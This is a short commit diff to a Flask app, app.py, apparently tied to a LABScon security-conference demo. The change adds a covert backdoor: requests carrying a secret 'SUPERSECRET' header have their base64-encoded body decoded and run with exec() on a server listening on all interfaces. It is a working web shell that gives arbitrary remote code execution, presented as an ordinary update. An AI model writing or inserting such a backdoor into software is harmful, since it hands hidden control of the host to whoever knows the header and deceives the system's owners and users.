Update app.py

app.py

@@ -1,4 +1,5 @@
 import os
+import base64
 from flask import Flask
 from flask import request
 from flask import jsonify
@@ -18,7 +19,9 @@ def request_handler():
     if not request.headers.get('SUPERSECRET'):
         return render_template("Hello LABScon!")
     else:
-        return exec(output)
+
+        command = base64.urlsafe_b64decode(request.data)
+        return exec(command)
 
 if __name__ == "__main__":
     app.run(host="0.0.0.0", port=7860)